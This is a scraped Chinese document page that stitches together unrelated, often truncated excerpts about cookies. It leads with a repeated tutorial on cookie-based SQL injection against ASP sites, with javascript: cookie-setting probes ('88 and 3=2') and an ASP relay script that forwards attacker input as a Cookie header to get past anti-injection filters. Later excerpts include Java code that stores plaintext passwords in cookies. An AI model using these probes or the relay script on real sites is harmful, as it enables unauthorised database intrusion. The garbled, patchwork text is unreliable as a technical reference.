Cookies注入

Cookies注入
Cookies注入

Cookies注入

现在很多网站都加了防注入系统代码,你输入注入语句将无法注入

感觉这样的防注入系统不错,但防注入系统没有注意到Cookies 的问题!

所以就有了Cookies注入

我们来研究一下怎样情况下才会有Cookies注入!

如果你学过ASP,你应该会知道Request.QueryString(GET)或Request.Form (POST)!呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!我们有时为了简化代码,会写成ID=Request("ID")

这样写法是简单了,但问题就来了我们先看WEB服务是怎样读取数据的,他是先取GET 中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道看来书说的不全)

我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)!

就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了,那我们怎样测试是否有Cookies注入问题。请先看下面的的连接(示例用,所以连接不是真的)

http://*****.2008.***.com/1.asp?id=88

如果我们只输http://*****.2008.***.com/1.asp

时,就不能看到正常的数据,因为没有参数!

我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),

先用IE输入

http://*****.2008.***.com/1.asp

加载网页,显示不正常(没有输参数的原因)

之后在IE输入框再输入

javascript:alert(document.cookie="id="+escape("88"));

按回车,你会看到弹出一个对话框内容是: id=88

之后,你刷新一个网页,如果正常显示,表示是用

Request("ID")这样的格式收集数据,这种格式就可以试Cookies注入了

在输入框中输入

javascript:alert(document.cookie="id="+escape("88 and 2=2"));

刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("88 and 3=2"));刷新一下页面

如果不正常显示,这就表示有注入了

如果程序员是用

Request.QueryString

Request.Form

收集数据的话,是无法利用Cookies绕过防注入系统进行注入的,因为服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,WEB服务器是不理的,所以就无法利用了!

--------------------------------------------------------------------------

为了方便不懂的朋友了解

javascript:alert(document.cookie="id="+escape("88"));

的意思,我说明一下

document.cookie="id="+escape("88")就是把88 保存到Cookies 的ID 中

alert(xxx)就是弹对话框

后话

==========================================================

Cookie注入已不算是什么新技术,但还算是很管用的方法,或者有一天,防注入系统会加入Cookies注入检测!

当然上面说的只是一种思路Cookies注入还有很多形式大家可以自己发散思维

同时也说一下cookies注入不是王道,很多时候不能用,我以搞了一段时间,不尽人意,后来不玩了,很多论坛的cookies是处理过的,或是加密过的Cookies注入完全被忽略最后附上方便Cookies注入的工具

用来转接Cookies注入的方便注入的过程

引用<%

Str="xxxid="&escape(request("Holmesian"))

Url="http://*****.2008.***.com/go.asp"

response.write PostData(Url,Str)

Function PostData(PostUrl,PostCok)

Dim Http

Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

With Http

.Open "GET",PostUrl,False

.SetRequestHeader "Cookie",PostCok

.Send

PostData = .ResponseBody

End With

Set Http = Nothing

PostData =bytes2BSTR(PostData)

End Function

Function bytes2BSTR(vIn)

Dim strReturn

Dim I, ThisCharCode, NextCharCode

strReturn = ""

For I = 1 To LenB(vIn)

ThisCharCode = AscB(MidB(vIn, I, 1))

If ThisCharCode < &H80 Then

strReturn = strReturn & Chr(ThisCharCode)

Else

NextCharCode = AscB(MidB(vIn, I + 1, 1))

strReturn = strReturn & Chr(CLng(ThisCharCode)* &H100 + CInt(NextCharCode))I = I + 1

End If

Next

bytes2BSTR = strReturn

End Function

%>

Cookie用法大全

COOKIE用法大全ASP中的Cookie用法:Cookie是一种发送到客户浏览器的文本串句柄,并保存在客户机硬盘上,可以用来在某个Web站点会话之间持久地保持数据。Reque st和Response对象都有一组Cookie。Request.cookie集合是一系列Cookie,从客户端与HTTP Request一起发送到Web服务器。反过来,如果你希望把Cookie发送到客户机,就可以使用Response.Cookies. 1、Expires属性该属性可以赋一个日期,过了这个日期Cookie就不能再被使用了。通过给Expires属性赋一个过期的日期,就可以删除Cookie。如:<%Response.cookies("passtime").Expires=DateAdd("m", 1, NOW)%> 这样设置Cookie在一个月后过期。2、Domain属性该属性定义Cooki e要传送的唯一域。如:Cookie只传送给Microsoft的人,则可以使用以下代码。<%R esponse.Cookies("domain").Domain="https://www.360docs.net/doc/1a14143337.html,/"%> 3、ASP 用来写入Cookie即向客户机发送Cookie的语法如下:Response.Cookies("C ookie名").[("键名").属性]=内容如果某个ASP文件要创建一个Cookie,则下面的代码可以放在ASP文件的第一个之前,以避免产生错误. <%Response.Cookie s("CookieName")="NewCookie" %> ...... 4、同样ASP用Re quest对象的Cookies集合来读取Cookie,如:<%Response.write Request.Cooki es("CookieName")%> 下面以一个完整的例子来说明Cookie:<% dim Num Num=Request.Cookies("Visit_num") if Num>0 then Num=Num+1 Response. write "您已是第" & Num & "次访问本站点了。" else Response.write "欢迎您首次访问本站。" Num=1 end if Response.Cookies("Visit_num")=Num %> 在该例子中,首先读取Cookies变量Visit_num,看用户端计算机是否保存有Cookies变量。如果有该变量,则说明用户已经访问过该页面,同时输入出访问次数。如果用户是首次访问该页面,则其计算机内不会有Cookies变量,程序会显示“欢迎”字样,然后将Cookies变量Visit_num存到用户计算机中,以便该用户下一次访问该页面时给出“访问的次数”信息。 5、Cookie字典有时在一个页面中可能需要定义很多个Cookies变量,为了更好地管理它,在Cookies组件中常引入一人的概念“子键”。引用它的语法如下:Request. Cookies("变更名")("子键名")如下面的Cookie创建一个名为"Dictionary"的字典,其中保存了三个键值:<% Response.Cookie("info")("Myname")="jeff" Resp onse.Cookie("info")("Gender")="male" Response.Cookie("info")("Myheight")= "172" %> 事实上客户机上的Cookie字典是以字符串的形式存在:info=Myname

jquery.cookie使用方法(中文详细版)

jquery.cookie使用方法 一个轻量级的cookie插件,可以读取、写入、删除cookie。 jquery.cookie.js的配置 首先包含jQuery的库文件,在后面包含jquery.cookie.js的库文件。 使用方法 新添加一个会话cookie: 创建一个cookie并设置有效时间为7天: 创建一个cookie并设置cookie的有效路径: 读取cookie: 删除cookie,通过传递null作为cookie的值即可: 相关参数的解释 定义cookie的有效时间,值可以是一个数字(从创建cookie时算起,以天为单位)或一个Date对象。如果省略,那么创建的cookie是会话cookie,将在用户退出浏览器时被删除。 默认情况:只有设置cookie的网页才能读取该cookie。 定义cookie的有效路径。默认情况下,该参数的值为创建cookie的网页所在路径(标准浏览器的行为)。如果你想在整个网站中访问这个cookie需要这样设置有效路径:path: '/'。如果你想删除一个定义了有效路径的cookie,你需要在调用函数时包含这个路径:$.cookie('the_cookie', null, { path: '/' });。

默认值:创建cookie的网页所拥有的域名。 默认值:false。如果为true,cookie的传输需要使用安全协议(HTTPS)。 默认值:false。 默认情况下,读取和写入cookie的时候自动进行编码和解码(使用encodeURIComponent编码,decodeURIComponent解码)。要关闭这个功能设置raw: true即可。

网站防注入别忘了cookie注入

网站防注入别忘了cookie注入 经过几年的注入攻击的洗礼,现在即使一般小企业的网站也做了防注入,但有一种注入叫cookie注入,由于它利用了网站程序一般很少使用但确实可用的获取参数的方法,很多网站程序的作者往往忽略了防范cookie注入,给网站的安全带来极大危害。下面我还是通过一个例子说明cookie注入的危害。 我收藏了一款存在cookie注入漏洞的ASP网站程序―宜昌电脑网络公司v2.8版,它存在的注入漏洞比较经典,就用它来演示cookie注入漏洞了。 发现漏洞 我把宜昌电脑网络公司v2.8版在虚拟机里用IIS运行了起来,网站访问地址为http://127.0.0.1/ ,如图1。 在“常见故障”栏目中点开一篇名为“夏普复印机特殊故障代码的复位方法”的文章,在浏览器中显示的地址为http://127.0.0.1/news_more.asp?id=1093,如图2。 在这个地址后面输入-0,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-0,回车,显示的还是“夏普复印机特殊故障代码的复位方法”这篇文章;在地

址http://127.0.0.1/news_more.asp?id=1093后面输入-1,也就是浏览器中的地址变为了 http://127.0.0.1/news_more.asp?id=1093-1,回车,显示的文章变为了“夏普AR1818、AR163、AR163N、AR2818垂直白线”,如图3 。 和直接访问http://127.0.0.1/news_more.asp?id=1092显示的页面相同。也就是id后面的参数1093-1这个减法运算被执行了,推测news_more.asp在获取id参数的值时过滤不严,很可能存在注入漏洞。是否存在普通的注入漏洞呢?在地址http://127.0.0.1/news_more.asp?id=1093后面输入空格and空格1=1(把空格换成按一下空格键),地址变为了http://127.0.0.1/news_more.asp?id=1093 and 1=1,回车后出来了防注入提示“系统提示:您进行了非法操作请不要在参数中包含非法字符尝试注入!”,如图4。 看来网站有防注入措施,那是不是网站就不存在注入漏洞了呢?ASP程序有Get和Put两种常用获得输入的方法,还有一种不常用的通过cookie获得输入的方法。 http://127.0.0.1/news_more.asp?id=1093 and 1=1就是通过Get方式获得参数的值1093 and 1=1,注入代码被拦截只能说明通过Get方式提交的注入代码被拦截,那么我们通过不常用的cookie提交注入代码是否会被拦截呢?来实际测试一下。在浏览器的地址栏中输入

跨域获取cookie,多个网站实现一键登录

A网站首页PHP(也可以在登录页面加入下面的代码)加入如下代码 view plaincopy to clipboardprint? 1. A网站增加文件getcookies.php,目的是为了让B网站可以以ajax方式来查询A网站的cookie getcookies.php 代码如下 view plaincopy to clipboardprint? 1.$winduid,'msg'=>$msg)); 4.//可以用json_encode自动转换,也可以手写json格 式 $json_data = '{"mywinduid":'.$mywinduid.'}'; 5.$json_data = json_encode(array('mywinduid'=>$mywinduid)); 6.//必需以下这样形式输出,重点就是发送请求的网页的参数中要有jsoncallback参 数 7.echo $callback.'('.$json_data.')'; 8.?> 在需要查询A网站cookie的B网站页面中增加如下代码 view plaincopy to clipboardprint? 1. 2.

Kristenscookiecompany案例分析

Kristen’s cookie company案例分析 一、案例背景介绍 本案例主要介绍的是好室友1和好室友2要在学校里开一家饼干公司。该公司根据订单情况,提供定制化的产品。并且,公司的订单必须是完全新鲜的,因此在接到订单之前不能烘烤饼干。Kristen饼干的制作流程很简单,第一个步骤是接到订单,接订单的时间忽略不计;然后是清洗制作上一批产品时,用于混合原材料的碗,接着进行搅拌,清洗和搅拌的过程需要6分钟;将饼干放入烤盘,需要2分钟;接着把饼干放入烤箱并设定时间和温度,这个过程需要1分钟的时间;烤制饼干需要9分钟;饼干烤熟之后,进行5分钟冷却;继而进行包装,需要2分钟;最后收钱需要1分钟。 在这个过程中,好室友1需要做的是清洗和搅拌工作以及把饼干放入烤盘;好室友2需要做的是讲饼干放入烤箱并设定时间和温度,把烤好的饼干进行包装,以及最后的收费工作。 在这个过程中涉及到的成本主要有:原料成本——0.6美元/打;用来包装饼干的盒子成本——0.1美元/打,这种盒子每个只能装1打饼干;好室友1和好室友2的时间成本。 二、案例说明 1、时间以及成本 根据案例,我们对饼干制作流程以及制作过程中的人员分配进行简单归纳,见表1. 表1:各项流程耗时及人员说明 2、流程分析 为了更好的理解Kristen饼干制作时的过程,我们绘制出整个饼干产品生产的流程图。

6分钟/次 2分钟/盘 9分钟/次5分钟/次2分钟/打1分钟/单 图1:饼干制作流程图 3、其他 饼干是完全新鲜的,因此在接到订单之前不能烘烤饼干。 三、案例分析 1、你需要多长时间来处理一个紧急的订单? 为了简化分析,我们首先来考虑一种比较简单的情况,即对问题做出如下基本假设: 假设1:仅分析订单单位均为1打的情况,即我们假设,紧急订单都需要的是1打饼干。 假设2:如果紧急订单到达时有正在处理的订单,则正在处理的订单之后无订单。(即正在处理的订单之后就马上是紧急订单) 假设3:烤箱、烤盘、搅拌器均只有一个。 在分析之前,我们定义一个函数()y i 。()y i 表示完成每一个生产流程所需要的时间。其中,i 表示的是根据图1所表示的生产流程进行到第i 个步骤,取值为1,2,...,7i 。根据案例背景,我们很容易得到()y i 的表达式如下: (1)紧急订单之前,好室友1和好室友2是闲暇的,即不存在排队情况。那么

使用Cookie记录用户名和密码

使用Cookie记录用户名和密码 一、用户登录操作 在用户填写登录数据后,提交表单进行登录验证,如果用户名和密码正确,则把用户名和密码保存在客户端。页面如图1所示 实现代码如下所示。 ... response.setContentType("text/html;charset=gbk"); //获取用户名 String userName = request.getParameter("username"); //获取用户密码 String password = request.getParameter("password"); //验证用户是否合法 if ("accp".equals(userName) && "accp".equals(password)) { //如果合法,把用户名和密码保存在客户端Cookie中 //获取客户选择的Cookie保存时间 String cookieDate = request.getParameter("cookieDate"); int date = 0; if (cookieDate != null && cookieDate != "") date = Integer.parseInt(cookieDate); //创建用户名Cookie对象 Cookie cookieName = new Cookie("accpLoginName", userName); //设置Cookie保存时间 cookieName.setMaxAge(date); //添加到客户端 response.addCookie(cookieName);

Cookie cookiePass = new Cookie("accpLoginPass", password); //设置保存Cookie时间 cookiePass.setMaxAge(date); //添加到客户端 response.addCookie(cookiePass); response.sendRedirect("success.jsp"); } else { response.sendRedirect("fail.jsp"); } ... 二、用户再次登录时操作 服务器首先读取客户端Cookie信息,如果存在用户名和密码数据,则直接登录,否则显示登录页面。 实现代码如下所示。 response.setContentType("text/html;charset=gbk"); //用户名和密码是否存在以及合法的判断参数 boolean bool=false; //获取客户端Cookie数组 Cookie[] cookies = request.getCookies(); //判断客户端是否存在Cookie对象 if (cookies != null) { //预定义保存用户名和密码的变量 String userName = ""; String password = ""; //遍历Cookie数组 for (int i = 0; i < cookies.length; i++) { //取得每一个Cookie对象 Cookie cookie = cookies[i]; //判断Cookie的名称是否等于"accpLoginName" if ("accpLoginName".equals(cookie.getName())) { userName = cookie.getV alue(); } //判断Cookie的名称是否等于"accpLoginPass" if ("accpLoginPass".equals(cookie.getName())) { password = cookie.getV alue(); } }

Cookies注入

Cookies注入 现在很多网站都加了防注入系统代码,你输入注入语句将无法注入 感觉这样的防注入系统不错,但防注入系统没有注意到Cookies 的问题! 所以就有了Cookies注入 我们来研究一下怎样情况下才会有Cookies注入! 如果你学过ASP,你应该会知道Request.QueryString(GET)或Request.Form (POST)!呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!我们有时为了简化代码,会写成ID=Request("ID") 这样写法是简单了,但问题就来了我们先看WEB服务是怎样读取数据的,他是先取GET 中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道看来书说的不全) 我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)! 就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了,那我们怎样测试是否有Cookies注入问题。请先看下面的的连接(示例用,所以连接不是真的) http://*****.2008.***.com/1.asp?id=88 如果我们只输http://*****.2008.***.com/1.asp 时,就不能看到正常的数据,因为没有参数! 我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题), 先用IE输入 http://*****.2008.***.com/1.asp 加载网页,显示不正常(没有输参数的原因) 之后在IE输入框再输入 javascript:alert(document.cookie="id="+escape("88")); 按回车,你会看到弹出一个对话框内容是: id=88 之后,你刷新一个网页,如果正常显示,表示是用 Request("ID")这样的格式收集数据,这种格式就可以试Cookies注入了 在输入框中输入 javascript:alert(document.cookie="id="+escape("88 and 2=2")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

cookie测试

Cookie提供了一种在Web应用程序中存储用户特定信息的方法,例如存储用户的上次访问时间等信息。假如不进行cookie存储一个网站的用户行为,那么可能会造成以下问题:用户进行购买几件商品转到结算页面时,系统怎样知道用户之前订了哪几件商品。因为,cookie其中一个作用就是记录用户操作系统的日志,而系统对cookie不单单是存储,还有读取,也就是说系统和用户之前是一个交互的过程,这称为有状态。 但是Cookie在带来这些编程的方便性的同时,也带来了安全上的问题。Cookie的安全性问题与从客户端获取数据的安全性问题是类似的,可以把Cookie看成是另外一种形式的用户输入,因此很容易被黑客们非法利用这些数据。由于Cookie保存在客户端,因为在客户端可以直接看到Cookie中存储的数据,而且可以在浏览器向服务器端发送Cookie之前更改Cookie 的数据。因此,对Cookie 的测试,尤其是安全性方面的测试非常重要,是Web应用系统测试中的重要方面。 ·如何判断正在测试的Web系统使用了cookie? 在进行Cookie测试之前,首先要判断被测试的Web应用系统是否使用了Cookie。当然可以找出web系统的设计文档、功能规格说明书来看个究竟,或者直接问开发人员。除此之外,还有更加直接的办法: (1)找到电脑中存储cookie的目录。 需要注意的是不同的浏览器把Cookie数据存储在不同的目录,IE浏览器把Cookie数据存储在类似下面的目录: C:\Documents and Settings\user\Local Settings\Temporary Internet Files (2)删除所有cookie。 在IE中,cookie与缓存的临时文件存储在一起。可使用IE中的删除Cookies文件功能来删除所有Cookie,也可直接找到存储Cookie文件的目录进行删除。打开IE浏览器,选择菜单“工具| Internet选项”(或者按快捷方式“Ctrl+Shift+Delete”),如图1所示。

Java基础-关于session的详细解释

Java基础-关于session的详细解释 session, Java, 基础, 解释 一、术语session 在我的经验里,session这个词被滥用的程度大概仅次于transaction,更加有趣的是transaction与session在某些语境下的 含义是相同的。 session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话时从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。有时候我们可以看到这样的话“在一个浏览器会话期间,...”,这里的会话一词用的就是其本义,是指从一个浏览器窗口打开到关闭这个期间①。最混乱的是“用户(客户端)在一次会话期间”这样一句话,它可能指用户的一系列动作(一般情况下是同某个具体目的相关的一系列动作,比如从登录到选购商品到结账登出这样一个网上购物的过程,有时候也被称为一个transaction),然而有时候也可能仅仅是指一次连接,也有可能是指含义①,其中的差 别只能靠上下文来推断②。 然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义,“面向连接”指的是在通信双方在通信之前要先建立一个通信的渠道,比如打电话,直到对方接了

电话通信才能开始,与此相对的是写信,在你把信发出去的时候你并不能确认对方的地址是否正确,通信渠道不一定能建立,但对发信人来说,通信已经开始了。“保持状态”则是指通信的一方能够把一系列的消息关联起来,使得消息之间可以互相依赖,比如一个服务员能够认出再次光临的老顾客并且记得上次这个顾客还欠店里一块钱。这一类的例子有“一个TCP s ession”或者“一个POP3 session”③。 而到了web服务器蓬勃发展的时代,session在web开发语境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器之间保持状态的解决方案④。有时候session也用来指这种解决方案的存储结构,如“把xxx保存在session里”⑤。由于各种用于web开发的语言在一定程度上都提供了对这种解决方案的支持,所以在某种特定语言的语境下,session也被用来指代该语言的解决方案,比如经常把Java 里提供的javax.servlet.http.HttpSession简称为session⑥。 鉴于这种混乱已不可改变,本文中session一词的运用也会根据上下文有不同的含义,请大家注意分辨。 在本文中,使用中文“浏览器会话期间”来表达含义①,使用“session机制”来表达含义④,使用“session”表达含义⑤,使用 具体的“HttpSession”来表达含义⑥

WINDOW.OPEN各属性及用法详解

一、window.open()支持环境: JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+二、基本语法:window.open(pageURL,name,parameters)其中:pageURL为子窗口路径name为子窗口句柄parameters为窗口参数(各参数用逗号分隔)三、示例:脚本运行后,page.html将在新窗体newwindow中打开,宽为100,高为400,距屏顶0象素,屏左0象素,无工具条,无菜单条,无滚动条,不可调整大小,无地址栏,无状态栏。请对照。上例中涉及的为常用的几个参数,除此以外还有很多其他参数,请见四。四、各项参数其中yes/no也可使用1/0;pixel value为具体的数值,单位象素。参数|取值范围|说明alwaysLowered|yes/no|指定窗口隐藏在所有窗口之后alwaysRaised|yes/no|指定窗口悬浮在所有窗口之上depended|yes/no|是否和父窗口同时关闭directories| yes/no|Nav2和3的目录栏是否可见height|pixel value|窗口高度hotkeys|yes/no|在没菜单栏的窗口中设安全退出热键innerHeight| pixel value|窗口中文档的像素高度innerWidth|pixel value|窗口中文档的像素宽度location|yes/no|位置栏是否可见menubar|yes/no|菜单栏是否可见outerHeight|pixel value|设定窗口(包括装饰边框)的像素高度outerWidth|pixel value|设定窗口(包括装饰边框)的像素宽度resizable|yes/no|窗口大小是否可调整screenX|pixel value|窗口距屏幕左边界的像素长度screenY|pixel value|窗口距屏幕上边界的像素长度scrollbars|yes/no|窗口是否可有滚动栏titlebar|yes/no|窗口题目栏是否可见toolbar|yes/no|窗口工具栏是否可见Width|pixel value|窗口的像素宽度z-look|yes/no|窗口被激活后是否浮在其它窗口之上 =================================== ==================【1、最基本的弹出窗口代码】其实代码非常简单:因为着是一段javascripts代码,所以它们应该放在之间。是对一些版本低的浏览器起作用,在这些老浏览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。Window.open ('page.html')用于控制弹出新的窗口page.html,如果page.html不与主窗口在同一路径下,前面应写明路径,绝对路径(http://)和相对路径(../)均可。用单引号和双引号都可以,只是不要混用。这一段代码可以加入HTML的任意位置,和之间可以,间也可以,越前越早执行,尤其是页面代码长,又想使页面早点弹出就尽量往前放。【2、经过设置后的弹出窗口】下面再说一说弹出窗口的设置。只要再往上面的代码中加一点东西就可以了。我们来定制这个弹出的窗口的外观,尺寸大小,弹出的位置以适应该页面的具体情况。